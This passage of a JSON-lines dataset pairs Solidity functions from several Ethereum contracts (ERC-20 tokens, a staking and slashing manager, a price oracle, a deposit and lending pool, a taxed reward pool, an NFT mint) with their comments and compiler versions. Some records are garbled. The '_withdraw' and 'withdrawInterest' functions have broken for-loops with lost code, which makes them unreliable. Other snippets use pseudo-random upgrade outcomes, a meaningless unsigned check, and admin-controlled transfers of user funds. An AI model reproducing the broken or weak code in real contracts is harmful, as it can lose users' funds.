totalSupply).mul(valueInTokens);\r\n\r\n totalSupply = totalSupply.sub(valueInTokens);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(valueInTokens);\r\n\r\n msg.sender.transfer(sumToPay);\r\n //\r\n\r\n DividendsPaid(msg.sender, valueInTokens, sumToPay);\r\n\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md#transferfrom", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool){\r\n\r\n require(!tokenSaleIsRunning);\r\n\r\n // Transfers of 0 values MUST be treated as normal transfers and fire the Transfer event (ERC-20)\r\n require(_value >= 0);\r\n\r\n // The function SHOULD throw unless the _from account has deliberately authorized the sender of the message via some mechanism\r\n require(msg.sender == _from || _value <= allowance[_from][msg.sender]);\r\n\r\n // check if _from account have required amount\r\n require(_value <= balanceOf[_from]);\r\n\r\n // Subtract from the sender\r\n // balanceOf[_from] = balanceOf[_from] - _value;\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n //\r\n // Add the same to the recipient\r\n // balanceOf[_to] = balanceOf[_to] + _value;\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n\r\n // If allowance used, change allowances correspondingly\r\n if (_from != msg.sender) {\r\n // allowance[_from][msg.sender] = allowance[_from][msg.sender] - _value;\r\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);\r\n }\r\n\r\n // event\r\n Transfer(_from, _to, _value);\r\n\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "// value - number of tokens to mint", "function_code": "function mint(address to, uint256 value, uint256 _invested) public returns (bool) {\r\n\r\n require(tokenSaleIsRunning);\r\n\r\n require(msg.sender == owner);\r\n\r\n // tokens for investor\r\n balanceOf[to] = balanceOf[to].add(value);\r\n totalSupply = totalSupply.add(value);\r\n\r\n invested = invested.add(_invested);\r\n\r\n if (invested >= hardCap || now.sub(tokenSaleStarted) > salePeriod) {\r\n tokenSaleIsRunning = false;\r\n }\r\n\r\n NewTokensMinted(\r\n to, //...................1\r\n _invested, //............2\r\n value, //................3\r\n msg.sender, //...........4\r\n !tokenSaleIsRunning, //..5\r\n invested //..............6\r\n );\r\n return true;\r\n }", "version": "0.4.20"} {"comment": "//ERC20 code\n//See https://github.com/ethereum/EIPs/blob/e451b058521ba6ccd5d3205456f755b1d2d52bb8/EIPS/eip-20.md", "function_code": "function transfer(address destination, uint amount) public returns (bool success) {\r\n if (balanceOf[msg.sender] >= amount && \r\n balanceOf[destination] + amount > balanceOf[destination]) {\r\n balanceOf[msg.sender] -= amount;\r\n balanceOf[destination] += amount;\r\n emit Transfer(msg.sender, destination, amount);\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.4.24"} {"comment": "/*\r\n * @dev Update the key of a node in the list\r\n * @param _id Node's id\r\n * @param _newKey Node's new key\r\n * @param _prevId Id of previous node for the new insert position\r\n * @param _nextId Id of next node for the new insert position\r\n */", "function_code": "function updateKey(Data storage self, address _id, uint256 _newKey, address _prevId, address _nextId) public {\r\n // List must contain the node\r\n require(contains(self, _id));\r\n\r\n // Remove node from the list\r\n remove(self, _id);\r\n\r\n if (_newKey > 0) {\r\n // Insert node if it has a non-zero key\r\n insert(self, _id, _newKey, _prevId, _nextId);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Check if a pair of nodes is a valid insertion point for a new node with the given key\r\n * @param _key Node's key\r\n * @param _prevId Id of previous node for the insert position\r\n * @param _nextId Id of next node for the insert position\r\n */", "function_code": "function validInsertPosition(Data storage self, uint256 _key, address _prevId, address _nextId) public view returns (bool) {\r\n if (_prevId == address(0) && _nextId == address(0)) {\r\n // `(null, null)` is a valid insert position if the list is empty\r\n return isEmpty(self);\r\n } else if (_prevId == address(0)) {\r\n // `(null, _nextId)` is a valid insert position if `_nextId` is the head of the list\r\n return self.head == _nextId && _key >= self.nodes[_nextId].key;\r\n } else if (_nextId == address(0)) {\r\n // `(_prevId, null)` is a valid insert position if `_prevId` is the tail of the list\r\n return self.tail == _prevId && _key <= self.nodes[_prevId].key;\r\n } else {\r\n // `(_prevId, _nextId)` is a valid insert position if they are adjacent nodes and `_key` falls between the two nodes' keys\r\n return self.nodes[_prevId].nextId == _nextId && self.nodes[_prevId].key >= _key && _key >= self.nodes[_nextId].key;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/*\r\n * @dev Descend the list (larger keys to smaller keys) to find a valid insert position\r\n * @param _key Node's key\r\n * @param _startId Id of node to start ascending the list from\r\n */", "function_code": "function descendList(Data storage self, uint256 _key, address _startId) private view returns (address, address) {\r\n // If `_startId` is the head, check if the insert position is before the head\r\n if (self.head == _startId && _key >= self.nodes[_startId].key) {\r\n return (address(0), _startId);\r\n }\r\n\r\n address prevId = _startId;\r\n address nextId = self.nodes[prevId].nextId;\r\n\r\n // Descend the list until we reach the end or until we find a valid insert position\r\n while (prevId != address(0) && !validInsertPosition(self, _key, prevId, nextId)) {\r\n prevId = self.nodes[prevId].nextId;\r\n nextId = self.nodes[prevId].nextId;\r\n }\r\n\r\n return (prevId, nextId);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Withdraws bonded stake to the caller after unbonding period.\r\n */", "function_code": "function withdrawStake()\r\n external\r\n whenSystemNotPaused\r\n currentRoundInitialized\r\n {\r\n // Delegator must be in the unbonded state\r\n require(delegatorStatus(msg.sender) == DelegatorStatus.Unbonded);\r\n\r\n uint256 amount = delegators[msg.sender].bondedAmount;\r\n delegators[msg.sender].bondedAmount = 0;\r\n delegators[msg.sender].withdrawRound = 0;\r\n\r\n // Tell Minter to transfer stake (LPT) to the delegator\r\n minter().trustedTransferTokens(msg.sender, amount);\r\n\r\n WithdrawStake(msg.sender);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Withdraws fees to the caller\r\n */", "function_code": "function withdrawFees()\r\n external\r\n whenSystemNotPaused\r\n currentRoundInitialized\r\n autoClaimEarnings\r\n {\r\n // Delegator must have fees\r\n require(delegators[msg.sender].fees > 0);\r\n\r\n uint256 amount = delegators[msg.sender].fees;\r\n delegators[msg.sender].fees = 0;\r\n\r\n // Tell Minter to transfer fees (ETH) to the delegator\r\n minter().trustedWithdrawETH(msg.sender, amount);\r\n\r\n WithdrawFees(msg.sender);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Set active transcoder set for the current round\r\n */", "function_code": "function setActiveTranscoders() external whenSystemNotPaused onlyRoundsManager {\r\n uint256 currentRound = roundsManager().currentRound();\r\n uint256 activeSetSize = Math.min256(numActiveTranscoders, transcoderPool.getSize());\r\n\r\n uint256 totalStake = 0;\r\n address currentTranscoder = transcoderPool.getFirst();\r\n\r\n for (uint256 i = 0; i < activeSetSize; i++) {\r\n activeTranscoderSet[currentRound].transcoders.push(currentTranscoder);\r\n activeTranscoderSet[currentRound].isActive[currentTranscoder] = true;\r\n\r\n uint256 stake = transcoderPool.getKey(currentTranscoder);\r\n uint256 rewardCut = transcoders[currentTranscoder].pendingRewardCut;\r\n uint256 feeShare = transcoders[currentTranscoder].pendingFeeShare;\r\n uint256 pricePerSegment = transcoders[currentTranscoder].pendingPricePerSegment;\r\n\r\n Transcoder storage t = transcoders[currentTranscoder];\r\n // Set pending rates as current rates\r\n t.rewardCut = rewardCut;\r\n t.feeShare = feeShare;\r\n t.pricePerSegment = pricePerSegment;\r\n // Initialize token pool\r\n t.earningsPoolPerRound[currentRound].init(stake, rewardCut, feeShare);\r\n\r\n totalStake = totalStake.add(stake);\r\n\r\n // Get next transcoder in the pool\r\n currentTranscoder = transcoderPool.getNext(currentTranscoder);\r\n }\r\n\r\n // Update total stake of all active transcoders\r\n activeTranscoderSet[currentRound].totalStake = totalStake;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Distribute the token rewards to transcoder and delegates.\r\n * Active transcoders call this once per cycle when it is their turn.\r\n */", "function_code": "function reward() external whenSystemNotPaused currentRoundInitialized {\r\n uint256 currentRound = roundsManager().currentRound();\r\n\r\n // Sender must be an active transcoder\r\n require(activeTranscoderSet[currentRound].isActive[msg.sender]);\r\n\r\n // Transcoder must not have called reward for this round already\r\n require(transcoders[msg.sender].lastRewardRound != currentRound);\r\n // Set last round that transcoder called reward\r\n transcoders[msg.sender].lastRewardRound = currentRound;\r\n\r\n // Create reward based on active transcoder's stake relative to the total active stake\r\n // rewardTokens = (current mintable tokens for the round * active transcoder stake) / total active stake\r\n uint256 rewardTokens = minter().createReward(activeTranscoderTotalStake(msg.sender, currentRound), activeTranscoderSet[currentRound].totalStake);\r\n\r\n updateTranscoderWithRewards(msg.sender, rewardTokens, currentRound);\r\n\r\n Reward(msg.sender, rewardTokens);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Update transcoder's fee pool\r\n * @param _transcoder Transcoder address\r\n * @param _fees Fees from verified job claims\r\n */", "function_code": "function updateTranscoderWithFees(\r\n address _transcoder,\r\n uint256 _fees,\r\n uint256 _round\r\n )\r\n external\r\n whenSystemNotPaused\r\n onlyJobsManager\r\n {\r\n // Transcoder must be registered\r\n require(transcoderStatus(_transcoder) == TranscoderStatus.Registered);\r\n\r\n Transcoder storage t = transcoders[_transcoder];\r\n\r\n EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[_round];\r\n // Add fees to fee pool\r\n earningsPool.feePool = earningsPool.feePool.add(_fees);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Slash a transcoder. Slashing can be invoked by the protocol or a finder.\r\n * @param _transcoder Transcoder address\r\n * @param _finder Finder that proved a transcoder violated a slashing condition. Null address if there is no finder\r\n * @param _slashAmount Percentage of transcoder bond to be slashed\r\n * @param _finderFee Percentage of penalty awarded to finder. Zero if there is no finder\r\n */", "function_code": "function slashTranscoder(\r\n address _transcoder,\r\n address _finder,\r\n uint256 _slashAmount,\r\n uint256 _finderFee\r\n )\r\n external\r\n whenSystemNotPaused\r\n onlyJobsManager\r\n {\r\n Delegator storage del = delegators[_transcoder];\r\n\r\n if (del.bondedAmount > 0) {\r\n uint256 penalty = MathUtils.percOf(delegators[_transcoder].bondedAmount, _slashAmount);\r\n\r\n // Decrease bonded stake\r\n del.bondedAmount = del.bondedAmount.sub(penalty);\r\n\r\n // If still bonded\r\n // - Decrease delegate's delegated amount\r\n // - Decrease total bonded tokens\r\n if (delegatorStatus(_transcoder) == DelegatorStatus.Bonded) {\r\n delegators[del.delegateAddress].delegatedAmount = delegators[del.delegateAddress].delegatedAmount.sub(penalty);\r\n totalBonded = totalBonded.sub(penalty);\r\n }\r\n\r\n // If registered transcoder, resign it\r\n if (transcoderStatus(_transcoder) == TranscoderStatus.Registered) {\r\n resignTranscoder(_transcoder);\r\n }\r\n\r\n // Account for penalty\r\n uint256 burnAmount = penalty;\r\n\r\n // Award finder fee if there is a finder address\r\n if (_finder != address(0)) {\r\n uint256 finderAmount = MathUtils.percOf(penalty, _finderFee);\r\n minter().trustedTransferTokens(_finder, finderAmount);\r\n\r\n // Minter burns the slashed funds - finder reward\r\n minter().trustedBurnTokens(burnAmount.sub(finderAmount));\r\n\r\n TranscoderSlashed(_transcoder, _finder, penalty, finderAmount);\r\n } else {\r\n // Minter burns the slashed funds\r\n minter().trustedBurnTokens(burnAmount);\r\n\r\n TranscoderSlashed(_transcoder, address(0), penalty, 0);\r\n }\r\n } else {\r\n TranscoderSlashed(_transcoder, _finder, 0, 0);\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Claim token pools shares for a delegator from its lastClaimRound through the end round\r\n * @param _endRound The last round for which to claim token pools shares for a delegator\r\n */", "function_code": "function claimEarnings(uint256 _endRound) external whenSystemNotPaused currentRoundInitialized {\r\n // End round must be after the last claim round\r\n require(delegators[msg.sender].lastClaimRound < _endRound);\r\n // End round must not be after the current round\r\n require(_endRound <= roundsManager().currentRound());\r\n\r\n updateDelegatorWithEarnings(msg.sender, _endRound);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Returns pending bonded stake for a delegator from its lastClaimRound through an end round\r\n * @param _delegator Address of delegator\r\n * @param _endRound The last round to compute pending stake from\r\n */", "function_code": "function pendingStake(address _delegator, uint256 _endRound) public view returns (uint256) {\r\n uint256 currentRound = roundsManager().currentRound();\r\n Delegator storage del = delegators[_delegator];\r\n // End round must be before or equal to current round and after lastClaimRound\r\n require(_endRound <= currentRound && _endRound > del.lastClaimRound);\r\n\r\n uint256 currentBondedAmount = del.bondedAmount;\r\n\r\n for (uint256 i = del.lastClaimRound + 1; i <= _endRound; i++) {\r\n EarningsPool.Data storage earningsPool = transcoders[del.delegateAddress].earningsPoolPerRound[i];\r\n\r\n bool isTranscoder = _delegator == del.delegateAddress;\r\n if (earningsPool.hasClaimableShares()) {\r\n // Calculate and add reward pool share from this round\r\n currentBondedAmount = currentBondedAmount.add(earningsPool.rewardPoolShare(currentBondedAmount, isTranscoder));\r\n }\r\n }\r\n\r\n return currentBondedAmount;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Computes delegator status\r\n * @param _delegator Address of delegator\r\n */", "function_code": "function delegatorStatus(address _delegator) public view returns (DelegatorStatus) {\r\n Delegator storage del = delegators[_delegator];\r\n\r\n if (del.withdrawRound > 0) {\r\n // Delegator called unbond\r\n if (roundsManager().currentRound() >= del.withdrawRound) {\r\n return DelegatorStatus.Unbonded;\r\n } else {\r\n return DelegatorStatus.Unbonding;\r\n }\r\n } else if (del.startRound > roundsManager().currentRound()) {\r\n // Delegator round start is in the future\r\n return DelegatorStatus.Pending;\r\n } else if (del.startRound > 0 && del.startRound <= roundsManager().currentRound()) {\r\n // Delegator round start is now or in the past\r\n return DelegatorStatus.Bonded;\r\n } else {\r\n // Default to unbonded\r\n return DelegatorStatus.Unbonded;\r\n }\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Return transcoder information\r\n * @param _transcoder Address of transcoder\r\n */", "function_code": "function getTranscoder(\r\n address _transcoder\r\n )\r\n public\r\n view\r\n returns (uint256 lastRewardRound, uint256 rewardCut, uint256 feeShare, uint256 pricePerSegment, uint256 pendingRewardCut, uint256 pendingFeeShare, uint256 pendingPricePerSegment)\r\n {\r\n Transcoder storage t = transcoders[_transcoder];\r\n\r\n lastRewardRound = t.lastRewardRound;\r\n rewardCut = t.rewardCut;\r\n feeShare = t.feeShare;\r\n pricePerSegment = t.pricePerSegment;\r\n pendingRewardCut = t.pendingRewardCut;\r\n pendingFeeShare = t.pendingFeeShare;\r\n pendingPricePerSegment = t.pendingPricePerSegment;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Return transcoder's token pools for a given round\r\n * @param _transcoder Address of transcoder\r\n * @param _round Round number\r\n */", "function_code": "function getTranscoderEarningsPoolForRound(\r\n address _transcoder,\r\n uint256 _round\r\n )\r\n public\r\n view\r\n returns (uint256 rewardPool, uint256 feePool, uint256 totalStake, uint256 claimableStake)\r\n {\r\n EarningsPool.Data storage earningsPool = transcoders[_transcoder].earningsPoolPerRound[_round];\r\n\r\n rewardPool = earningsPool.rewardPool;\r\n feePool = earningsPool.feePool;\r\n totalStake = earningsPool.totalStake;\r\n claimableStake = earningsPool.claimableStake;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Return delegator info\r\n * @param _delegator Address of delegator\r\n */", "function_code": "function getDelegator(\r\n address _delegator\r\n )\r\n public\r\n view\r\n returns (uint256 bondedAmount, uint256 fees, address delegateAddress, uint256 delegatedAmount, uint256 startRound, uint256 withdrawRound, uint256 lastClaimRound)\r\n {\r\n Delegator storage del = delegators[_delegator];\r\n\r\n bondedAmount = del.bondedAmount;\r\n fees = del.fees;\r\n delegateAddress = del.delegateAddress;\r\n delegatedAmount = del.delegatedAmount;\r\n startRound = del.startRound;\r\n withdrawRound = del.withdrawRound;\r\n lastClaimRound = del.lastClaimRound;\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Remove transcoder\r\n */", "function_code": "function resignTranscoder(address _transcoder) internal {\r\n uint256 currentRound = roundsManager().currentRound();\r\n if (activeTranscoderSet[currentRound].isActive[_transcoder]) {\r\n // Decrease total active stake for the round\r\n activeTranscoderSet[currentRound].totalStake = activeTranscoderSet[currentRound].totalStake.sub(activeTranscoderTotalStake(_transcoder, currentRound));\r\n // Set transcoder as inactive\r\n activeTranscoderSet[currentRound].isActive[_transcoder] = false;\r\n }\r\n\r\n // Remove transcoder from pools\r\n transcoderPool.remove(_transcoder);\r\n\r\n TranscoderResigned(_transcoder);\r\n }", "version": "0.4.18"} {"comment": "/**\r\n * @dev Update a transcoder with rewards\r\n * @param _transcoder Address of transcoder\r\n * @param _rewards Amount of rewards\r\n * @param _round Round that transcoder is updated\r\n */", "function_code": "function updateTranscoderWithRewards(address _transcoder, uint256 _rewards, uint256 _round) internal {\r\n Transcoder storage t = transcoders[_transcoder];\r\n Delegator storage del = delegators[_transcoder];\r\n\r\n EarningsPool.Data storage earningsPool = t.earningsPoolPerRound[_round];\r\n // Add rewards to reward pool\r\n earningsPool.rewardPool = earningsPool.rewardPool.add(_rewards);\r\n // Update transcoder's delegated amount with rewards\r\n del.delegatedAmount = del.delegatedAmount.add(_rewards);\r\n // Update transcoder's total stake with rewards\r\n uint256 newStake = transcoderPool.getKey(_transcoder).add(_rewards);\r\n transcoderPool.updateKey(_transcoder, newStake, address(0), address(0));\r\n // Update total bonded tokens with claimable rewards\r\n totalBonded = totalBonded.add(_rewards);\r\n }", "version": "0.4.18"} {"comment": "/// @notice Returns price of DFX in CAD, e.g. 1 DFX = X CAD\n/// Will assume 1 CADC = 1 CAD in this case", "function_code": "function read() public view override returns (uint256) {\n // 18 dec\n uint256 wethPerDfx18 = consult(DFX, 1e18);\n\n // in256, 8 dec -> uint256 18 dec\n (, int256 usdPerEth8, , , ) = ETH_USD_ORACLE.latestRoundData();\n (, int256 usdPerCad8, , , ) = CAD_USD_ORACLE.latestRoundData();\n uint256 usdPerEth18 = uint256(usdPerEth8) * 1e10;\n uint256 usdPerCad18 = uint256(usdPerCad8) * 1e10;\n\n // (eth/dfx) * (usd/eth) = usd/dfx\n uint256 usdPerDfx = (wethPerDfx18 * usdPerEth18) / 1e18;\n\n // (usd/dfx) / (usd/cad) = cad/dfx\n uint256 cadPerDfx = (usdPerDfx * 1e18) / usdPerCad18;\n\n return cadPerDfx;\n }", "version": "0.8.12"} {"comment": "/// @dev Function to mint tokens.\n/// @param _to The address that will receive the minted tokens.\n/// @param _amount The amount of tokens to mint.\n/// @param _priceUsd The price of minted token at moment of purchase in USD with 18 decimals.\n/// @return A boolean that indicates if the operation was successful.", "function_code": "function mint(address _to, uint256 _amount, uint256 _priceUsd) onlyOwner canMint public returns (bool) {\r\n totalSupply_ = totalSupply_.add(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n if (_priceUsd != 0) {\r\n uint256 amountUsd = _amount.mul(_priceUsd).div(10**18);\r\n totalCollected = totalCollected.add(amountUsd);\r\n }\r\n emit Mint(_to, _amount, _priceUsd);\r\n emit Transfer(0x0, _to, _amount);\r\n return true;\r\n }", "version": "0.4.21"} {"comment": "// use can direct deposit USDC and it will auto swap to szUSDC", "function_code": "function depositTokenTerm(address _from,uint256 amount,uint256 _term) public returns (bool){\r\n require(msg.sender == _from || \r\n (permits[msg.sender] == true && stopAdminControl[_from] == false),\"NO Permission to call this function\");\r\n require(_term >= minimumTerm);\r\n \r\n // check amount should not have decimal\r\n uint256 havDecimal;\r\n havDecimal = amount % (10 ** 6);\r\n if(havDecimal > 0){\r\n return false;\r\n }\r\n \r\n if(token.deposit(_from,amount) == false)\r\n return false;\r\n \r\n if(token.intTransfer(_from,address(this),amount * (10 ** 12)) == true){\r\n _depositContract(_from,amount * (10 ** 12),_term);\r\n return true;\r\n }\r\n \r\n return false;\r\n }", "version": "0.5.17"} {"comment": "// user can direct deposit szUSDC", "function_code": "function depositSZTokenTerm(address _from,uint256 amount,uint256 _term) public returns (bool){\r\n require(msg.sender == _from || \r\n (permits[msg.sender] == true && stopAdminControl[_from] == false),\"NO Permission to call function\");\r\n require(_term >= minimumTerm,\"TERM ERRIR\");\r\n // check amount should not have decimal\r\n uint256 havDecimal;\r\n havDecimal = amount % (10 ** decimal);\r\n if(havDecimal > 0){\r\n return false;\r\n }\r\n \r\n if(token.intTransfer(_from,address(this),amount) == true){\r\n _depositContract(_from,amount,_term);\r\n return true;\r\n }\r\n \r\n return false;\r\n }", "version": "0.5.17"} {"comment": "// When witdraw interest will reset to 0", "function_code": "function _withdraw(address _to,uint256 _amount) internal returns(uint256){\r\n if(_amount == 0) return 0;\r\n \r\n uint256 interest = profitCal.getWithdrawInterest(address(this),_to);\r\n uint256 idxSize = depositIdxs[_to].length;\r\n uint256 idx;\r\n uint256 principle;\r\n uint256 tempPrinciple;\r\n \r\n for(uint256 i=0;i 0)\r\n deposits[idx].lastDeposit = now;\r\n }\r\n \r\n totalClaimInterest += interest;\r\n \r\n if(interest > _amount){\r\n require(interest <= loanBalance(),\"ERROR01 Insuffician Fund to withdraw\");\r\n token.transfer(_to,interest);\r\n token.transfer(_to,0);\r\n totalSupply -= interest;\r\n return interest;\r\n }\r\n else\r\n {\r\n \r\n principle = _amount - interest;\r\n if(principle > balance[_to])\r\n principle = balance[_to];\r\n \r\n require(principle + interest <=loanBalance(),\"ERROR02 Insuffician Fund to withdraw\");\r\n tempPrinciple = principle;\r\n \r\n for(uint256 i=0;i0)\r\n {\r\n if(tempPrinciple >= deposits[idx].amount){\r\n tempPrinciple -=deposits[idx].amount;\r\n deposits[idx].amount = 0;\r\n }\r\n else\r\n {\r\n deposits[idx].amount -= tempPrinciple;\r\n tempPrinciple = 0;\r\n }\r\n }\r\n }\r\n totalSupply -= principle + interest;\r\n balance[_to] -= principle;\r\n token.transfer(_to,interest);\r\n token.transfer(_to,principle);\r\n return interest + principle;\r\n }\r\n }", "version": "0.5.17"} {"comment": "// this function will withdraw all interest only", "function_code": "function withdrawInterest(address _to) public returns(uint256){\r\n require(msg.sender == _to || \r\n (permits[msg.sender] == true && stopAdminControl[_to] == false),\"No Permission to call\");\r\n require(depositIdxs[_to].length > 0,\"Not deposit\");\r\n\r\n \r\n uint256 amount = profitCal.getWithdrawInterest(address(this),_to);\r\n uint256 idxSize = depositIdxs[_to].length;\r\n uint256 idx;\r\n \r\n if(amount == 0) return 0;\r\n \r\n for(uint256 i=0;i 0)\r\n deposits[idx].lastDeposit = now;\r\n }\r\n \r\n totalClaimInterest += amount;\r\n token.transfer(_to,amount);\r\n return amount;\r\n \r\n }", "version": "0.5.17"} {"comment": "// amount in CATToken only", "function_code": "function _borrow(uint256 amount,address _addr) internal returns(uint256 contractID){\r\n amount = (amount / (10 ** 18)) * (10 ** 18);\r\n require(amount <= catToken.balanceOf(_addr),\"not enought CAT Token\");\r\n uint256 amountStable = (amount / (10 ** 18)) * (10 ** decimal);\r\n require(amountStable <= totalSupply - totalBorrow,\"Not have fund to borrw\");\r\n\r\n BorrowContract memory br = BorrowContract({\r\n amount : amountStable,\r\n interest: borrowInterest,\r\n repayAmount:0,\r\n interestPay:0,\r\n time:now,\r\n status:1,\r\n startTime:now\r\n });\r\n\r\n uint256 idx = borrows.push(br);\r\n contracts[_addr].push(idx);\r\n catToken.intTransfer(_addr,address(this),amount);\r\n token.transfer(_addr,amountStable);\r\n totalBorrow += amountStable;\r\n\r\n emit Borrow(_addr,amountStable,borrowInterest);\r\n \r\n return idx;\r\n }", "version": "0.5.17"} {"comment": "// ------------------------------------------------------------------------\n// 1,000 FWD Tokens per 1 ETH\n// ------------------------------------------------------------------------", "function_code": "function () public payable {\r\n require(now >= startDate && now <= endDate);\r\n uint tokens;\r\n if (now <= bonusEnds) {\r\n tokens = msg.value * 50000001;\r\n } else {\r\n tokens = msg.value * 14000000000000000000000;\r\n }\r\n balances[msg.sender] = safeAdd(balances[msg.sender], tokens);\r\n _totalSupply = safeAdd(_totalSupply, tokens);\r\n Transfer(address(0), msg.sender, tokens);\r\n owner.transfer(msg.value);\r\n }", "version": "0.4.24"} {"comment": "/** @dev Returns the claimable tokens for user.*/", "function_code": "function earned(address account) public view returns (uint256) {\n // Do a lookup for the multiplier on the view - it's necessary for correct reward distribution.\n uint256 totalMultiplier = multiplier.getTotalValueForUser(address(this), account);\n uint256 effectiveBalance = _balances[account].add(_balances[account].mul(totalMultiplier).div(1000));\n return effectiveBalance.mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]);\n }", "version": "0.6.12"} {"comment": "/** @dev Withdraw function, this pool contains a tax which is defined in the constructor */", "function_code": "function withdraw(uint256 amount) public override {\n require(amount > 0, \"Cannot withdraw 0\");\n updateReward(msg.sender);\n\n // Calculate the withdraw tax (it's 2% of the amount)\n uint256 tax = amount.mul(devFee).div(1000);\n\n // Transfer the tokens to user\n stakingToken.safeTransfer(msg.sender, amount.sub(tax));\n // Tax to treasury\n stakingToken.safeTransfer(treasury, tax);\n\n // Adjust regular balances\n super.withdraw(amount);\n\n // And the bonus balances\n uint256 userTotalMultiplier = multiplier.getTotalValueForUser(address(this), msg.sender);\n adjustEffectiveStake(msg.sender, userTotalMultiplier, true);\n emit Withdrawn(msg.sender, amount);\n }", "version": "0.6.12"} {"comment": "/** @dev Adjust the bonus effective stakee for user and whole userbase */", "function_code": "function adjustEffectiveStake(\n address self,\n uint256 _totalMultiplier,\n bool _isWithdraw\n ) private {\n uint256 prevBalancesAccounting = _balancesAccounting[self];\n if (_totalMultiplier > 0) {\n // Calculate and set self's new accounting balance\n uint256 newBalancesAccounting = _balances[self].mul(_totalMultiplier).div(1000);\n\n // Adjust total accounting supply accordingly - Subtracting previous balance from new balance on withdraws\n // On deposits it's vice-versa.\n if (_isWithdraw) {\n uint256 diffBalancesAccounting = prevBalancesAccounting.sub(newBalancesAccounting);\n _balancesAccounting[self] = _balancesAccounting[self].sub(diffBalancesAccounting);\n _totalSupplyAccounting = _totalSupplyAccounting.sub(diffBalancesAccounting);\n } else {\n uint256 diffBalancesAccounting = newBalancesAccounting.sub(prevBalancesAccounting);\n _balancesAccounting[self] = _balancesAccounting[self].add(diffBalancesAccounting);\n _totalSupplyAccounting = _totalSupplyAccounting.add(diffBalancesAccounting);\n }\n } else {\n _balancesAccounting[self] = 0;\n _totalSupplyAccounting = _totalSupplyAccounting.sub(prevBalancesAccounting);\n }\n }", "version": "0.6.12"} {"comment": "// Sends out the reward tokens to the user.", "function_code": "function getReward() public {\n updateReward(msg.sender);\n uint256 reward = earned(msg.sender);\n if (reward > 0) {\n uint256 tax = reward.mul(devFee).div(1000);\n rewards[msg.sender] = 0;\n rewardToken.safeTransfer(msg.sender, reward.sub(tax));\n rewardToken.safeTransfer(treasury, tax.mul(50).div(100));\n rewardToken.safeTransfer(ramVault, tax.mul(50).div(100));\n emit RewardPaid(msg.sender, reward);\n }\n }", "version": "0.6.12"} {"comment": "// Notify a reward amount without updating time,", "function_code": "function notifyRewardAmountWithoutUpdateTime(uint256 reward) external onlyOwner {\n rewardToken.safeTransferFrom(msg.sender, address(this), reward);\n updateRewardPerTokenStored();\n if (block.timestamp >= periodFinish) {\n rewardRate = reward.div(DURATION);\n } else {\n uint256 remaining = periodFinish.sub(block.timestamp);\n uint256 leftover = remaining.mul(rewardRate);\n rewardRate = reward.add(leftover).div(DURATION);\n }\n emit RewardAdded(reward);\n }", "version": "0.6.12"} {"comment": "// MINTING FUNCTIONS", "function_code": "function mint(uint256 amount) external payable {\r\n require(saleActive, \"Public sale not active\");\r\n require(msg.value == amount * mintPrice, \"Not enough ETH sent\");\r\n require(amount <= MAX_AMOUNT_PER_MINT, \"Minting too many at a time\");\r\n require(amount + totalSupply() <= MAX_TOTAL_SUPPLY, \"Would exceed max supply\");\r\n\r\n _mint(msg.sender, amount, \"\", false);\r\n }", "version": "0.8.12"} {"comment": "// reserves 'amount' NFTs minted direct to a specified wallet", "function_code": "function reserve(address to, uint256 amount) external onlyOwner {\r\n require(amount + totalSupply() <= MAX_TOTAL_SUPPLY, \"Would exceed max supply\");\r\n require(reserved + amount <= MAX_RESERVED_AMOUNT, \"Would exceed max reserved amount\");\r\n\r\n _mint(to, amount, \"\", false);\r\n reserved += amount;\r\n }", "version": "0.8.12"} {"comment": "// UPDATE FUNCTIONS", "function_code": "function plunge(uint256 tokenId) public onlyTokenOwner(tokenId) {\r\n require(!isLocked[tokenId], \"Gator is dead\");\r\n\r\n uint256 currentLevel = tokenLevels[tokenId];\r\n require(currentLevel < MAX_LEVEL, \"Gator already max level\");\r\n\r\n uint256 pseudoRandomNumber = _genPseudoRandomNumber(tokenId);\r\n\r\n if (currentLevel == 0) {\r\n // first upgrade, 90% chance of success\r\n if (pseudoRandomNumber < 9) {\r\n tokenLevels[tokenId] += 1;\r\n } else {\r\n tokenLevels[tokenId] = 0;\r\n isLocked[tokenId] = true;\r\n }\r\n } else {\r\n // second upgrade, 30% chance of success\r\n if (pseudoRandomNumber < 3) {\r\n tokenLevels[tokenId] += 1;\r\n } else {\r\n tokenLevels[tokenId] = 0;\r\n isLocked[tokenId] = true;\r\n }\r\n }\r\n }", "version": "0.8.12"} {"comment": "// VIEW FUNCTIONS", "function_code": "function walletOfOwner(address wallet) public view returns (uint256[] memory) {\r\n uint256 tokenCount = balanceOf(wallet);\r\n uint256[] memory tokenIds = new uint256[](tokenCount);\r\n for (uint256 i; i < tokenCount; i++) {\r\n tokenIds[i] = tokenOfOwnerByIndex(wallet, i);\r\n }\r\n return tokenIds;\r\n }", "version": "0.8.12"} {"comment": "// ------------------------------------------------------------------------\n// Stakers can claim their pending rewards using this function\n// ------------------------------------------------------------------------\n// ------------------------------------------------------------------------\n// Stakers can unstake the staked tokens using this 